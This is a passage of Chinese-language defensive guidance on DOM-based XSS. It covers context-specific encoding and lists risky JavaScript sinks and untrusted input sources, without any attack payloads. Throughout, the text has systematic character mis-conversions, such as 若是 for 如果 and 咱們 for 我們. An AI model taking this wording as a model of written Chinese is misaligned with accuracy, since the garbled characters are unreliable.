若是改爲HtmlEncode也是如此。
正確的防護方法是什麼呢?
首先,在$var
輸出到<script>
時,應該執行一次javascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體狀況看待:若是是輸出到事件或者腳本,則要再作一
javascriptEncode;若是是輸出到HTML內容或者屬性,則要作一次HtmlEncode。
也就是說,從JavaScript輸出到HTML頁面,也至關於一次XSS輸出的過程,須要分語境使用不一樣的編碼函數。
會觸發DOM Based XSS的地方不少,如下幾個地方是JavaScript輸出到HTML頁面的必經之路。
a) document.write() document.writeln()
b) xxx.innerHTML= xxx.outerHTML=
c) innerHTML.replace
d) document.attachEvent() window.attachEvent()
e) document.location.replace() document.location.assign()
…
除了服務器端直接輸出變量到Javascript以外,還有如下幾個地方可能會成爲DOM Based XSS的輸入點,也須要重點關注。
a) 頁面中全部的inputs框
b) window.location(href、hash等)
c) window.name
d) document.referrer
e) document.cookie
f) localstorage
g) XMLHttpRequest返回的數據
從業務角度看XSS風險,用戶之間有互動的頁面的風險確定比沒有互動的頁面的風險高。應重點修補風險高的頁面。
理論上,XSS漏洞雖然複雜,但倒是能夠完全解決的。在設計XSS解決方案時,應該深刻理解XSS攻擊的原理,針對不一樣的場景使用不一樣的方法。同時有不少開源項目爲咱們提供了參考。